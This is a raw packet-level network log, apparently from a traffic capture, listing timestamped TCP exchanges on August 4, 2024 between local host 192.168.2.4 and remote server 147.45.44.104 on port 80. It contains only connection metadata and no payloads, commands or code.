Aug 4, 2024 02:21:36.403754950 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.403767109 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.403785944 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.403786898 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.403808117 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.403819084 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.403832912 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.403850079 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.403861046 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.403882980 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.403889894 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.403914928 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.403924942 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.403948069 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.403958082 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.403979063 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.403987885 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.404011965 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.404023886 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.404042959 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.404051065 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.404086113 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.404562950 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.404597044 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.404614925 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.404628992 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.404639006 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.404661894 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.404671907 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.404694080 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.404705048 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.404726028 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.404735088 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.404762983 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.404767036 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.404803991 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.405098915 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.405129910 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.405147076 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.405177116 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.405185938 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.405210018 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.405219078 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.405242920 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.405247927 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.405275106 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.405282021 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.405307055 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.405322075 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.405344963 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.405353069 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.405379057 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.405389071 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.405411005 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.405420065 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.405442953 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.405452967 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.405484915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.406225920 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.406260014 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.406280041 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.406291962 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.406302929 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.406323910 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.406328917 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.406357050 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.406368017 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.406389952 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.406397104 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.406421900 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.406431913 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.406455040 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.406464100 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.406487942 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.406496048 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.406519890 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.406527996 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.406552076 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.406558037 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.406586885 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.406596899 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.406618118 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.406626940 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.406661987 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.406935930 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.406968117 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.406975031 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.406999111 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.407011032 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.407032013 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.407043934 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.407059908 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.407073975 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.407092094 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.407102108 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.407124996 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.407136917 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.407156944 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.407166004 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.407190084 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.407197952 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.407221079 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.407228947 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.407253027 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.407262087 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.407285929 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.407295942 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.407319069 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.407329082 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.407360077 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.407819033 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.407850981 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.407866955 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.407880068 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.407898903 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.407912016 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.407918930 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.407943964 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.407953978 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.407977104 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.407987118 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.408009052 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.408018112 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.408040047 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.408049107 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.408072948 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.408081055 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.408104897 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.408119917 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.408137083 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.408147097 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.408169031 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.408178091 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.408210993 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.408876896 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.408910990 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.408930063 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.408942938 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.408952951 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.408976078 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.408984900 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.409008980 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.409018993 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.409041882 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.409048080 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.409075022 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.409082890 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.409107924 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.409117937 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.409137011 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.409146070 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.409168959 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.409184933 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.409200907 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.409213066 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.409233093 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.409243107 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.409269094 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.409277916 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.409312010 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.409683943 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.409717083 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.409739017 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.409749031 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.409760952 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.409780025 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.409791946 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.409813881 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.409822941 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.409847021 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.409858942 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.409878969 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.409890890 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.409910917 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.409923077 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.409944057 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.409954071 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.409976006 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.409986973 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.410008907 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.410026073 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.410041094 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.410052061 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.410068989 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.410088062 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.410100937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.410111904 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.410132885 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.410141945 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.410176992 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.410567999 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.410613060 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.410614014 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.410645008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.410654068 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.410679102 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.410687923 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.410721064 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.490657091 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.490705013 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.490736008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.490747929 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.490767002 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.490783930 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.490798950 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.490823030 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.490829945 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.490855932 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.490864992 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.490885973 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.490907907 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.491097927 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.491130114 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.491149902 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.491162062 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.491173983 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.491194010 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.491204977 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.491225958 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.491231918 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.491257906 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.491271019 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.491293907 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.491298914 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.491336107 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.491523981 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.491554976 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.491563082 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.491589069 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.491597891 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.491621971 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.491631985 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.491653919 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.491662979 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.491686106 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.491692066 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.491718054 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.491728067 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.491760015 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.491863012 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.491894960 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.491909027 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.491926908 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.491935015 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.491959095 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.491966963 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.491991043 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.492001057 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.492023945 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.492037058 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.492055893 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.492065907 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.492089033 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.492099047 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.492129087 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.492405891 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.492453098 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.492458105 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.492496014 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.492522001 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.492553949 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.492568016 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.492589951 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.492595911 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.492623091 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.492634058 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.492654085 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.492661953 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.492686987 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.492696047 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.492719889 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.492728949 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.492753029 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.492762089 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.492793083 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.493086100 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.493118048 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.493130922 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.493150949 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.493169069 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.493182898 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.493192911 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.493216038 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.493223906 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.493247986 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.493257046 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.493279934 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.493289948 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.493308067 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.493323088 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.493339062 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.493346930 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.493372917 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.493383884 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.493403912 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.493415117 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.493437052 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.493446112 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.493468046 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.493478060 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.493500948 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.493510962 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.493532896 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.493546009 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.493575096 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.493942976 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.493974924 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.493989944 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.494019985 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.494030952 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.494062901 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.494075060 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.494095087 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.494107962 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.494126081 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.494137049 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.494154930 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.494168043 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.494187117 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.494194984 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.494220018 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.494230032 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.494251013 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.494261980 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.494285107 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.494294882 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.494317055 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.494327068 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.494349957 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.494359970 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.494378090 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.494389057 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.494409084 CEST	80	49757	147.45.44.104	192.168.2.4
